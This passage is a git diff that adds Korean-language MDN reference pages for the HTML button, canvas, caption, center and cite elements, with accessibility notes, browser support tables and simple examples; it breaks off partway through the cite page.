+<p><code>&lt;button&gt;</code> 요소는 {{HTMLElement("input")}} 요소보다 스타일을 적용하기 훨씬 수월합니다. <code>&lt;input&gt;</code>은 <code>value</code> 특성에 텍스트 값밖에 지정할 수 없지만, <code>&lt;button&gt;</code>은 내부 HTML 콘텐츠(<code>&lt;em&gt;</code>, <code>&lt;strong&gt;</code>, 심지어 <code>&lt;img&gt;</code>도)에 더해 {{Cssxref("::after")}}와 {{Cssxref("::before")}} 의사 요소를 사용하는 복잡한 렌더링도 가능합니다.</p>
+
+<p>양식 제출용 버튼이 아니라면 <code>type</code> 특성을 <code>button</code>으로 지정하는걸 잊지 마세요. 기본값에서는 버튼을 눌렀을 때 양식 데이터를 제출하고, (존재하지 않는) 응답을 불러오려고 시도하는 과정에서 문서의 현재 상태가 사라질 수 있습니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush:html">&lt;button name="button"&gt;눌러보세요&lt;/button&gt;
+</pre>
+
+<p>{{ EmbedLiveSample('예제', 200, 64) }}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<h3 id="아이콘_버튼">아이콘 버튼</h3>
+
+<p>아이콘만 사용해 기능을 표현하는 버튼은 접근 가능한 이름을 갖지 않습니다. 접근 가능한 이름은 스크린 리더 등 접근성 보조 기술이 문서를 분석하고 <a href="/ko/docs/Learn/Accessibility/What_is_accessibility#Accessibility_APIs">접근성 트리</a>를 생성할 때 사용할 수 있는 프로그램 훅을 제공합니다. 그 후 보조 기술이 페이지 콘텐츠를 탐색하고 조작할 때 접근성 트리를 사용합니다.</p>
+
+<p>아이콘 버튼에 접근 가능한 이름을 부여하려면, <code>&lt;button&gt;</code> 요소의 기능을 간략히 묘사하는 텍스트를 안에 포함하세요.</p>
+
+<h4 id="예제_2">예제</h4>
+
+<pre class="brush: html">&lt;button name="favorite" type="button"&gt;
+ &lt;svg aria-hidden="true" viewBox="0 0 10 10"&gt;&lt;path d="M7 9L5 8 3 9V6L1 4h3l1-3 1 3h3L7 6z"/&gt;&lt;/svg&gt;
+ Add to favorites
+&lt;/button&gt;
+</pre>
+
+<p id="Result_3">텍스트를 숨기고 싶은 경우, 접근 가능한 방식은 <a href="https://gomakethings.com/hidden-content-for-better-a11y/#hiding-the-link">CSS 속성을 조합</a>해 시각적으로는 숨기고, 보조 기술은 읽을 수 있는 형태로 남기는 것입니다.</p>
+
+<p>그러나, 버튼의 텍스트를 시각적으로 남겨놓는 것은 아이콘의 뜻이나 버튼의 기능에 익숙하지 않은 사용자도 도울 수 있다는 점을 명심해야 합니다. 특히 기술과 가깝지 않거나, 문화적으로 다른 해석을 할 수 있는 사용자를 고려하세요.</p>
+
+<ul>
+ <li><a href="https://developer.paciellogroup.com/blog/2017/04/what-is-an-accessible-name/">What is an accessible name? | The Paciello Group</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Robust#Guideline_4.1_—_Compatible_Maximize_compatibility_with_current_and_future_user_agents_including_assistive_technologies">MDN Understanding WCAG, Guideline 4.1 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/ensure-compat-rsv.html">Understanding Success Criterion 4.1.2 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h3 id="크기와_간격">크기와 간격</h3>
+
+<h4 id="크기">크기</h4>
+
+<p>버튼과 같은 대화형 요소는 상호작용하기 충분한 크기의 활성화 영역을 가져야 합니다. 충분한 크기는 운동 조절 장애를 가진 사용자와, 터치스크린처럼 정확하지 않은 입력 도구 사용자처럼 다양한 사람을 돕습니다. 최소 44x44의 <a class="external external-icon" href="https://www.w3.org/TR/WCAG21/#dfn-css-pixels" rel="noopener">CSS 픽셀</a> 크기를 권고합니다.</p>
+
+<ul>
+ <li><a href="https://www.w3.org/WAI/WCAG21/Understanding/target-size.html">Understanding Success Criterion 2.5.5: Target Size | W3C Understanding WCAG 2.1</a></li>
+ <li><a href="http://adrianroselli.com/2019/06/target-size-and-2-5-5.html">Target Size and 2.5.5 | Adrian Roselli</a></li>
+ <li><a href="https://a11yproject.com/posts/large-touch-targets/">Quick test: Large touch targets - The A11Y Project</a></li>
+</ul>
+
+<h4 id="간격">간격</h4>
+
+<p>버튼과 같은 대화형 요소 다수를 시각적으로 가까이 배치할 땐 서로를 분리하는 공간을 둬야 합니다. 간격은 운동 조절 장애를 가진 사용자가 원하지 않는 상호작용을 하는걸 방지할 수 있습니다.</p>
+
+<p>간격은 {{cssxref("margin")}}과 같은 CSS 속성으로 설정할 수 있습니다.</p>
+
+<ul>
+ <li><a href="https://axesslab.com/hand-tremors/">Hand tremors and the giant-button-problem - Axess Lab</a></li>
+</ul>
+
+<div class="hidden">
+<h3 id="Firefox">Firefox</h3>
+
+<p>Firefox will add a small dotted border on a focused button. This border is declared through CSS in the browser stylesheet, but you can override it to add your own focused style using <code><a href="/en-US/docs/Web/CSS/::-moz-focus-inner">button::-moz-focus-inner { }</a></code>.</p>
+
+<p>If overridden, it is important to <strong>ensure that the state change when focus is moved to the button is high enough</strong> that people experiencing low vision conditions will be able to perceive it.</p>
+
+<p>Color contrast ratio is determined by comparing the luminosity of the button text and background color values compared to the background the button is placed on. In order to meet current <a href="https://www.w3.org/WAI/intro/wcag" rel="noopener">Web Content Accessibility Guidelines (WCAG)</a>, a ratio of 4.5:1 is required for text content and 3:1 for large text. (Large text is defined as 18.66px and {{cssxref("font-weight", "bold")}} or larger, or 24px or larger.)</p>
+
+<ul>
+ <li><a href="https://webaim.org/resources/contrastchecker/">WebAIM: Color Contrast Checker</a></li>
+ <li><a href="/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-contrast.html">Understanding Success Criterion 1.4.3 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+</div>
+
+<h3 id="클릭과_포커스">클릭과 포커스</h3>
+
+<p><code>&lt;button&gt;</code>을 클릭했을 때 포커스를 얻는 여부는 브라우저와 운영체제에 따라 다릅니다. 아래 표는 {{HTMLElement("input")}}이 <code>type="button"</code> 또는 <code>type="submit"</code>일 때도 동일합니다.</p>
+
+<table>
+ <caption>{{HTMLElement("button")}}을 클릭했을 때 포커스를 부여하나?</caption>
+ <thead>
+ <tr>
+ <th>데스크톱 브라우저</th>
+ <th>Windows 8.1</th>
+ <th>OS X 10.X</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th>Firefox</th>
+ <td class="bc-supports-yes">예 - Firefox 30.0</td>
+ <td class="bc-supports-no">(<code>tabindex</code>가 존재해도) 아니오 - Firefox 63</td>
+ </tr>
+ <tr>
+ <th>Chrome</th>
+ <td class="bc-supports-yes">예 - Chrome 35</td>
+ <td class="bc-supports-yes">예 - Chrome 65</td>
+ </tr>
+ <tr>
+ <th>Safari</th>
+ <td style="background: #eee;">N/A</td>
+ <td class="bc-supports-no">(<code>tabindex</code>가 존재해도) 아니오 - Safari 12 (<a href="https://bugs.webkit.org/show_bug.cgi?id=22261">bug 22261</a>)</td>
+ </tr>
+ <tr>
+ <th>Internet Explorer</th>
+ <td class="bc-supports-yes">예 - Internet Explorer 11</td>
+ <td style="background: #eee;">N/A</td>
+ </tr>
+ <tr>
+ <th>Presto</th>
+ <td class="bc-supports-yes">예 - Opera 12</td>
+ <td class="bc-supports-yes">예 - Opera 12</td>
+ </tr>
+ </tbody>
+</table>
+
+<table>
+ <caption>{{HTMLElement("button")}}을 탭했을 때 포커스를 부여하나?</caption>
+ <thead>
+ <tr>
+ <th>모바일 브라우저</th>
+ <th>iOS 7.1.2</th>
+ <th>Android 4.4.4</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th>Safari Mobile</th>
+ <td class="bc-supports-no">(<code>tabindex</code>가 존재해도) 아니오</td>
+ <td style="background-color: #eeeeee;">N/A</td>
+ </tr>
+ <tr>
+ <th>Chrome 35</th>
+ <td class="bc-supports-no">(<code>tabindex</code>가 존재해도) 아니오</td>
+ <td class="bc-supports-yes">예</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'form-elements.html#the-button-element', '&lt;button&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'sec-forms.html#the-button-element', '&lt;button&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.5', '&lt;button&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.button")}}</p>
diff --git a/files/ko/web/html/element/canvas/index.html b/files/ko/web/html/element/canvas/index.html
new file mode 100644
index 0000000000..c9b9305e52
--- /dev/null
+++ b/files/ko/web/html/element/canvas/index.html
@@ -0,0 +1,194 @@
+---
+title: '<canvas>: 그래픽 캔버스 요소'
+slug: Web/HTML/Element/canvas
+tags:
+ - Canvas
+ - Element
+ - HTML
+ - HTML scripting
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/canvas
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;canvas&gt;</code> 요소</strong>는 <a href="/ko/docs/Web/HTML/Canvas">캔버스 스크립팅 API</a> 또는 <a href="/ko/docs/Web/API/WebGL_API">WebGL API</a>와 함께 사용해 그래픽과 애니메이션을 그릴 수 있습니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/Content_categories#내장_콘텐츠">내장 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#투명_콘텐츠_모델">투명</a>하지만 <a href="/ko/docs/Web/Guide/HTML/Content_categories#대화형_콘텐츠">대화형 콘텐츠</a>가 아닌 요소. 단, {{HTMLElement("a")}}, {{HTMLElement("button")}}, 그리고 {{HTMLElement("input")}} 중 {{htmlattrxref("type", "input")}} 특성이 <code>checkbox</code>, <code>radio</code>, <code>button</code>인 요소는 가능</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLCanvasElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>을 포함합니다.</p>
+
+<dl>
+ <dt>{{htmlattrdef("height")}}</dt>
+ <dd>좌표 공간의 높이입니다. CSS 픽셀 단위로, 기본값은 150입니다.</dd>
+ <dt>{{htmlattrdef("moz-opaque")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>투명도가 중요한 요소인지를 캔버스에 알려줍니다. 투명도가 없음을 알게되면 페인팅 성능이 최적화됩니다. Mozilla 기반 브라우저에서만 지원하므로, 표준 {{domxref("HTMLCanvasElement.getContext()", "canvas.getContext('2d', { alpha: false })")}} 를 대신 사용하세요.</dd>
+ <dt>{{htmlattrdef("width")}}</dt>
+ <dd>좌표 공간의 너비입니다. CSS 픽셀 단위로, 기본값은 300입니다.</dd>
+</dl>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<h3 id="대체_콘텐츠">대체 콘텐츠</h3>
+
+<p><code>&lt;canvas&gt;</code> 블록 안에 콘텐츠를 추가해 대체 콘텐츠로서 사용할 수 있습니다. 대체 콘텐츠는 캔버스를 지원하지 않는 구형 브라우저와, JavaScript를 비활성화한 브라우저에서 표시됩니다. 유용한 대체 텍스트, 혹은 하위 DOM을 제공하면 캔버스의 접근성을 향상할 수 있습니다.</p>
+
+<h3 id="닫는_태그_필수">닫는 태그 필수</h3>
+
+<p>{{HTMLElement("img")}} 요소와 달리, <code>&lt;canvas&gt;</code> 요소는 닫는 태그(<code>&lt;/canvas&gt;</code>)를 필요로 합니다.</p>
+
+<h3 id="캔버스_크기_조절_CSS_vs._HTML">캔버스 크기 조절: CSS vs. HTML</h3>
+
+<p>캔버스의 표시 크기는 CSS로도 수정할 수 있습니다. 그러나, CSS를 사용할 경우 렌더링 과정에서 CSS 크기에 맞추기 위해 이미지의 크기를 조절하므로, 최종 그래픽이 변형될 수 있습니다.</p>
+
+<p>따라서 <code>&lt;canvas&gt;</code> 요소의 <code>width</code>와 <code>height</code> 특성을 통해 직접 크기를 바꾸는 것이 좋습니다. HTML에서 직접 할 수도 있고, JavaScript를 사용할 수도 있습니다.</p>
+
+<h3 id="최대_캔버스_크기">최대 캔버스 크기</h3>
+
+<p><code>&lt;canvas&gt;</code> 요소의 최대 크기는 매우 크지만, 정확한 최대 크기는 브라우저마다 다릅니다. 다음 표는 다양한 테스트와 여러 출처(<a href="https://stackoverflow.com/questions/6081483/maximum-size-of-a-canvas-element">Stack Overflow</a> 등)에서 수집한 값입니다.</p>
+
+<table>
+ <thead>
+ <tr>
+ <th scope="col">브라우저</th>
+ <th scope="col">최대 높이</th>
+ <th scope="col">최대 너비</th>
+ <th scope="col">최대 크기</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>Chrome</td>
+ <td>32,767 픽셀</td>
+ <td>32,767 픽셀</td>
+ <td>268,435,456 픽셀 (i.e., 16,384 x 16,384)</td>
+ </tr>
+ <tr>
+ <td>Firefox</td>
+ <td>32,767 픽셀</td>
+ <td>32,767 픽셀</td>
+ <td>472,907,776 픽셀 (i.e., 22,528 x 20,992)</td>
+ </tr>
+ <tr>
+ <td>Safari</td>
+ <td>32,767 픽셀</td>
+ <td>32,767 픽셀</td>
+ <td>268,435,456 픽셀 (i.e., 16,384 x 16,384)</td>
+ </tr>
+ <tr>
+ <td>IE</td>
+ <td>8,192 픽셀</td>
+ <td>8,192 픽셀</td>
+ <td>?</td>
+ </tr>
+ </tbody>
+</table>
+
+<div class="blockIndicator note">
+<p><strong>참고</strong>: 최대 면적 또는 영역을 초과하면 그리기 명령이 동작하지 않으므로, 캔버스를 사용할 수 없습니다.</p>
+</div>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<p>이 코드 조각은 HTML 문서에 캔버스를 추가합니다. 대체 텍스트를 추가해서 브라우저가 캔버스를 렌더링 할 수 없거나, 캔버스를 읽을 수 없는 경우에 대비했습니다.</p>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="300" height="300"&gt;
+ 캔버스의 내용을 설명하는 대체 텍스트
+&lt;/canvas&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<p>그 다음, JavaScript 코드 내에서 {{domxref("HTMLCanvasElement.getContext()")}}를 호출해 그리기 맥락을 얻어서 캔버스 위에 그립니다.</p>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+ctx.fillStyle = 'green';
+ctx.fillRect(10, 10, 100, 100);</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{EmbedLiveSample("예제")}}</p>
+
+<h2 id="접근성_문제">접근성 문제</h2>
+
+<h3 id="대체_콘텐츠_2">대체 콘텐츠</h3>
+
+<p><code>&lt;canvas&gt;</code> 요소 자체는 비트맵에 불과하며 그려진 객체에 대한 어떠한 정보도 제공하지 않습니다. 캔버스 콘텐츠는 시맨틱 HTML 같은 접근성 도구에 노출되지 않습니다. 일반적으로 접근성 웹 사이트나 앱에서는 캔버스 사용을 피해야 합니다. 다음 안내서는 캔버스를 보다 쉽게 접근 가능한 형태로 사용하는 법을 설명합니다.</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/ko/docs/Web/API/Canvas_API/Tutorial/Hit_regions_and_accessibility">MDN Hit regions and accessability</a></li>
+ <li><a href="https://www.w3.org/WAI/PF/HTML/wiki/Canvas_Accessibility_Use_Cases">Canvas 접근성 유즈 케이스</a></li>
+ <li><a href="https://www.w3.org/html/wg/wiki/AddedElementCanvas">Canvas 엘리먼트 접근성 문제</a></li>
+ <li><a href="http://www.paciellogroup.com/blog/2012/06/html5-canvas-accessibility-in-firefox-13/">Firefox 13 의 HTML5 Canvas 접근성 – by Steve Faulkner</a></li>
+ <li><a href="https://html.spec.whatwg.org/multipage/scripting.html#best-practices">대화형 캔버스 엘리먼트의 모범 사례</a></li>
+</ul>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'scripting.html#the-canvas-element', '&lt;canvas&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'semantics-scripting.html#the-canvas-element', '&lt;canvas&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.canvas")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/HTML/Canvas">Canvas API</a></li>
+ <li><a href="/ko/docs/Web/HTML/Canvas/Tutorial">캔버스 자습서</a></li>
+ <li><a href="https://simon.html5.org/dump/html5-canvas-cheat-sheet.html">캔버스 치트 시트</a></li>
+ <li><a href="/ko/docs/Web/Demos_of_open_web_technologies">캔버스 관련 데모</a></li>
+</ul>
diff --git a/files/ko/web/html/element/caption/index.html b/files/ko/web/html/element/caption/index.html
new file mode 100644
index 0000000000..4766e0588e
--- /dev/null
+++ b/files/ko/web/html/element/caption/index.html
@@ -0,0 +1,153 @@
+---
+title: '<caption>: 표 설명 요소'
+slug: Web/HTML/Element/caption
+tags:
+ - Element
+ - HTML
+ - HTML tabular data
+ - Reference
+ - Web
+translation_of: Web/HTML/Element/caption
+---
+<div>{{HTMLRef}}</div>
+
+<p><strong>HTML <code>&lt;caption&gt;</code> 요소</strong>는 표의 설명 또는 제목을 나타냅니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/caption.html", "tabbed-taller")}}</div>
+
+
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/Content_categories">콘텐츠 카테고리</a></th>
+ <td>없음</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/Content_categories#플로우_콘텐츠">플로우 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>바로 뒤에 스페이스나 주석이 오지 않으면 닫는 태그를 생략할 수 있습니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td>{{htmlelement("table")}} 요소. 첫 번째 자식이어야 합니다.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>없음</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLTableCaptionElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<div class="hidden">
+<h3 id="Obsolete_attributes">Obsolete attributes</h3>
+
+<p>The following attributes are obsolete and should not be used. They are documented below for reference when updating existing code and for historical interest only.</p>
+
+<dl>
+ <dt>{{htmlattrdef("align")}} {{obsolete_inline}}</dt>
+ <dd>This enumerated attribute indicates how the caption must be aligned with respect to the table. It may have one of the following values:
+ <dl>
+ <dt><code>left</code></dt>
+ <dd>The caption is displayed to the left of the table.</dd>
+ <dt><code>top</code></dt>
+ <dd>The caption is displayed above the table.</dd>
+ <dt><code>right</code></dt>
+ <dd>The caption is displayed to the right of the table.</dd>
+ <dt><code>bottom</code></dt>
+ <dd>The caption is displayed below the table.</dd>
+ </dl>
+
+ <div class="note"><strong>Usage note: </strong>Do not use this attribute, as it has been deprecated. The {{HTMLElement("caption")}} element should be styled using the <a href="/en-US/docs/CSS">CSS</a> properties {{cssxref("caption-side")}} and {{cssxref("text-align")}}.</div>
+ </dd>
+</dl>
+</div>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p><code>&lt;caption&gt;</code> 요소는 부모 {{htmlelement("table")}} 요소의 첫 번째 자식이어야 합니다.</p>
+
+<p><code>&lt;caption&gt;</code> 요소를 가진 <code>&lt;table&gt;</code> 요소가 만약 {{HTMLElement("figure")}} 요소의 유일한 자식인 경우, {{htmlelement("figcaption")}}을 대신 사용하세요.</p>
+
+<h2 id="예제">예제</h2>
+
+<p>다음의 간단한 예제는 설명을 포함한 표를 보입니다.</p>
+
+<pre class="brush: html">&lt;table&gt;
+ &lt;caption&gt;Example Caption&lt;/caption&gt;
+ &lt;tr&gt;
+ &lt;th&gt;Login&lt;/th&gt;
+ &lt;th&gt;Email&lt;/th&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td&gt;user1&lt;/td&gt;
+ &lt;td&gt;user1@sample.com&lt;/td&gt;
+ &lt;/tr&gt;
+ &lt;tr&gt;
+ &lt;td&gt;user2&lt;/td&gt;
+ &lt;td&gt;user2@sample.com&lt;/td&gt;
+ &lt;/tr&gt;
+&lt;/table&gt;</pre>
+
+<div class="hidden">
+<pre class="brush: css">caption {
+ caption-side: top;
+ align: right;
+}
+table {
+ border-collapse: collapse;
+ border-spacing: 0px;
+}
+table, th, td {
+ border: 1px solid black;
+}
+</pre>
+</div>
+
+<p>{{EmbedLiveSample('예제', 650, 100)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'tables.html#the-caption-element', '&lt;caption&gt;')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'tabular-data.html#the-caption-element', '&lt;caption&gt;')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML4.01', 'struct/tables.html#h-11.2.2', '&lt;caption&gt;')}}</td>
+ <td>{{Spec2('HTML4.01')}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("html.elements.caption")}}</p>
diff --git a/files/ko/web/html/element/center/index.html b/files/ko/web/html/element/center/index.html
new file mode 100644
index 0000000000..bd545b19f6
--- /dev/null
+++ b/files/ko/web/html/element/center/index.html
@@ -0,0 +1,51 @@
+---
+title: <center>
+slug: Web/HTML/Element/center
+translation_of: Web/HTML/Element/center
+---
+<div>{{deprecated_header()}}</div>
+
+<h2 id="개요">개요</h2>
+
+<p>이 HTML Center (<code>&lt;center&gt;</code>)요소는 또다른 블록요소을 포함하거나, 인라인요소(Inline)를 포함할 수 있는 <a href="/en-US/docs/HTML/Block-level_elements">블록속성(block-level)</a> 의 요소이다. 그리고 해당 &lt;center&gt; 요소안에 포함된 전체요소는  &lt;center&gt;의 내용안에 가운데 정렬이 된다. (통상적으로 {{HTMLElement("body")}}로 쓰임).</p>
+
+<p>이 태그는 HTML4(또는 XHTML 1)이후에는 잘사용되지 않고, CSS의 {{Cssxref("text-align")}} 속성이 즐겨 사용된다.  {{HTMLElement("div")}} 요소나 {{HTMLElement("p")}}요소 같은 블록속성이  있는 요소에 사용될 수 있다.또 다른 방법으로는 CSS속성을 사용하여 {{Cssxref("margin-left")}} 또는 {{Cssxref("margin-right")}} 또는 margin을 자동(Css("margin") 를 <code>0 auto)</code>으로 설정한다.</p>
+
+<h2 id="DOM_인터페이스">DOM 인터페이스</h2>
+
+<p>이 요소는 {{domxref("HTMLElement")}} 인터페이스를 구현합니다.</p>
+
+<div class="note">
+<p><strong>Implementation note:</strong> up to Gecko 1.9.2 inclusive, Firefox implements the {{domxref("HTMLSpanElement")}} interface for this element.</p>
+</div>
+
+<h2 id="Example_1" name="Example_1">예제 1</h2>
+
+<pre class="brush: html">&lt;center&gt;This text will be centered.
+&lt;p&gt;So will this paragraph.&lt;/p&gt;&lt;/center&gt;
+</pre>
+
+<h2 id="Example_2" name="Example_2">예제 2 (CSS 대안)</h2>
+
+<pre class="brush: html">&lt;div style="text-align:center"&gt;This text will be centered.
+&lt;p&gt;So will this paragraph.&lt;/p&gt;&lt;/div&gt;
+</pre>
+
+<h2 id="Example_3" name="Example_3">예제 3 (CSS 대안)</h2>
+
+<pre class="brush: html">&lt;p style="text-align:center"&gt;This line will be centered.&lt;br&gt;
+And so will this line.&lt;/p&gt;
+</pre>
+
+<h2 id="Notes" name="Notes">메모</h2>
+
+<p>Applying {{Cssxref("text-align")}}<code>:center</code> to a<code> </code>{{HTMLElement("div")}} or {{HTMLElement("p")}} element centers the <em>contents</em> of those elements while leaving their overall dimensions unchanged.</p>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li>{{Cssxref("text-align")}}</li>
+ <li>{{Cssxref("display")}}</li>
+</ul>
+
+<div>{{HTMLRef}}</div>
diff --git a/files/ko/web/html/element/cite/index.html b/files/ko/web/html/element/cite/index.html
new file mode 100644
index 0000000000..c620f162f3
--- /dev/null
+++ b/files/ko/web/html/element/cite/index.html
@@ -0,0 +1,143 @@
+---
+title: <cite>
+slug: Web/HTML/Element/cite
+tags:
+ - Element
+ - HTML
+ - HTML text-level semantics
+ - Reference
+ - Web
+ - 인용
+ - 출처
+translation_of: Web/HTML/Element/cite
+---
+<div>{{HTMLRef}}</div>
+
+<p><span class="seoSummary"><strong>HTML <code>&lt;cite&gt;</code> 요소</strong>는 저작물의 출처를 표기할 때 사용하며, 제목을 반드시 포함해야 합니다.</span> 적절한 맥락 아래에서는 출처를 축약해서 표기할 수 있습니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/cite.html", "tabbed-standard")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row"><a href="/ko/docs/Web/Guide/HTML/%EC%BB%A8%ED%85%90%ED%8A%B8_%EC%B9%B4%ED%85%8C%EA%B3%A0%EB%A6%AC">콘텐츠 카테고리</a></th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#플로우_콘텐츠">플로우 콘텐츠</a>, <a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>, 뚜렷한 콘텐츠.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 콘텐츠</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">태그 생략</th>
+ <td>{{no_tag_omission}}</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 부모 요소</th>
+ <td><a href="/ko/docs/Web/Guide/HTML/컨텐트_카테고리#구문_콘텐츠">구문 콘텐츠</a>를 허용하는 모든 요소.</td>
+ </tr>
+ <tr>
+ <th scope="row">가능한 ARIA 역할</th>
+ <td>모두</td>
+ </tr>
+ <tr>
+ <th scope="row">DOM 인터페이스</th>
+ <td>{{domxref("HTMLElement")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="특성">특성</h2>
+
+<p>이 요소는 <a href="/ko/docs/Web/HTML/Global_attributes">전역 특성</a>만 포함합니다.</p>
+
+<h2 id="사용_일람">사용 일람</h2>
+
+<p><code>&lt;cite&gt;</code> 요소의 저작물로는 다음과 같은 예제를 들 수 있습니다.</p>
+
+<div class="threecolumns" id="creative-works">
+<ul>
+ <li>책</li>
+ <li>논문</li>
+ <li>에세이</li>
+ <li>시</li>
+ <li>악보</li>
+ <li>음악</li>
+ <li>대본</li>
+ <li>영화</li>
+ <li>TV 쇼</li>
+ <li>게임</li>
+ <li>조각</li>
+ <li>그림</li>
+ <li>연극</li>
